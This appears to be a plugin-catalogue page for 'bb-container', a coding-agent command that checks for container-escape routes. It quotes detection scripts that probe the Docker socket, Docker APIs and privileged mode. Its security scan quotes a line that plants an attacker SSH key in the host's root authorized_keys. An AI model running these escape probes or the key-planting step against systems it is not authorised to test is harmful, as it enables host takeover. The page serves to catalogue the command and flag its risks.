bb-container

bb-container is a command for coding agents from allsmog/blackbox-claude-plugin. It costs 9 tokens per session (1,447 once invoked), scanned C, original, MIT.

A security-analysis command for examining whether a process running inside a container can reach the host system. A container is an isolated environment used to run software.

In plain words
What is it for?
Detecting Docker, LXC, or Kubernetes environments and checking exposure such as Docker sockets and host-related interfaces.
Why use it?
It systematically checks common configuration weaknesses that may allow container boundaries to be crossed.

Command

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add commands/allsmog/blackbox-claude-plugin/bb-container
Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for bb-container

README.md
[![agentmods](https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-container.svg)](https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-container)
Your own site
<a href="https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-container"><img src="https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-container.svg" alt="Measured on agentmods" height="20"></a>
Per session 9 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,447 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00009 $0.01447
Opus 5 $0.00005 $0.00724
Sonnet 5 $0.00002 $0.00289
Haiku 4.5 $0.00001 $0.00145

Measured 5d ago against content hash 3d419454073e, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

bb-container scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-rsa AAAA... attacker@kali" >> /host/root/.ssh/authorized_keys

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s --unix-socket /var/run/docker.sock http://localhost/version
blackbox-htb/commands/bb-container.md · 175 lines

How it starts

The opening of the file, as written. The whole thing — 175 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Container Escape Analysis

Purpose

When you have shell access inside a container, this command systematically checks all escape vectors and provides ready-to-run exploitation commands.

Workflow

Step 1: Confirm Container Environment

Run these checks to confirm containerization:

# Quick container detection
echo "[*] Container Detection"
[ -f /.dockerenv ] && echo "[+] Docker: /.dockerenv found"
grep -q docker /proc/1/cgroup 2>/dev/null && echo "[+] Docker: cgroup match"
grep -q lxc /proc/1/cgroup 2>/dev/null && echo "[+] LXC container"
[ -d /var/run/secrets/kubernetes.io ] && echo "[+] Kubernetes pod"
echo "[*] Hostname: $(hostname)"
echo "[*] Processes: $(ps aux 2>/dev/null | wc -l)"

Step 2: Check Escape Vectors

Docker Socket
echo "[*] Checking Docker socket..."
if [ -S /var/run/docker.sock ]; then
    echo "[!] VULNERABLE: Docker socket found!"
    curl -s --unix-socket /var/run/docker.sock http://localhost/version
fi
Docker Desktop API (Critical for HTB Windows hosts)
echo "[*] Checking Docker Desktop API..."
for ip in 192.168.65.7 192.168.65.1 host.docker.internal 172.17.0.1 172.18.0.1; do
    if curl -s -m 2 http://$ip:2375/version 2>/dev/null | grep -q Version; then
        echo "[!] VULNERABLE: Docker API at $ip:2375"
    fi
done
Privileged Mode
echo "[*] Checking privileged mode..."
if fdisk -l 2>/dev/null | grep -q "/dev/"; then
    echo "[!] VULNERABLE: Privileged container - can access disks"
    fdisk -l 2>/dev/null | grep "^Disk /dev"
fi
Capabilities
echo "[*] Checking capabilities..."
capsh --print 2>/dev/null | grep -E "cap_sys_admin|cap_sys_ptrace|cap_net_admin" && \
    echo "[!] Dangerous capabilities found"
Host Mounts
echo "[*] Checking for host filesystem..."
for path in /host /hostfs /mnt/host /rootfs; do
    [ -f "$path/etc/passwd" ] && echo "[!] Host filesystem at $path"
done

Step 3: Exploitation

Based on findings, use appropriate escape:

Read the full file on GitHub · 175 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 175 lines · 9 tokens per session scan C 3d419454073e

Subscribe to this mod's changes

bb-container is a command published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 9 tokens to every session and 1,447 once invoked, about $0.0000 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other commands, from other repositories

bun:deploy

Deploy Bun applications to various platforms.

secondsky/claude-skills · 10 tokens

secrets

Secrets strategy, External Secrets Operator scaffolding, Sealed Secrets seal/rotate/backup, rotation runbooks, and Kubernetes-side secrets audit.

nitinjain999/platform-skills · 31 tokens

runtime-security

Detect and respond to in-container threats at the syscall level using Falco (eBPF-based, CNCF, open-source, no license cost). Covers Falco installation on EKS/GKE with eBPF driver, custom rule authoring, alert routing via Falcosidekick, rule debugging, and bridging Falco runtime signals to Kyverno admission…

nitinjain999/platform-skills · 121 tokens

supply-chain

Secure the software supply chain from source to running container. Covers Cosign keyless image signing (Sigstore/Rekor), SBOM generation and attestation (Syft), vulnerability scanning with severity gates (Trivy/Grype), SLSA Level 2 provenance, and Kyverno/OPA admission enforcement. All open-source, no license cost.…

nitinjain999/platform-skills · 116 tokens

chaos

Design, run, and debug Chaos Engineering experiments on Kubernetes using Litmus Chaos v3 and Chaos Mesh v2. Covers fault injection (pod-delete, network-loss, CPU stress, node-drain), steady-state hypothesis probes, GameDay runbooks, scheduled experiments, DORA feedback loop, and RBAC setup. Use when asked to "inject a…

nitinjain999/platform-skills · 97 tokens

pentest

Activate pentest mode — displays ASCII art, configures session isolation, collects engagement scope, then OWNS the engagement: pre-flight, recon, planning (via the pentester-orchestrator planner), executor dispatch, a time-budget quota loop, aggregation, and report generation.

Stickman230/claude-pentest · 58 tokens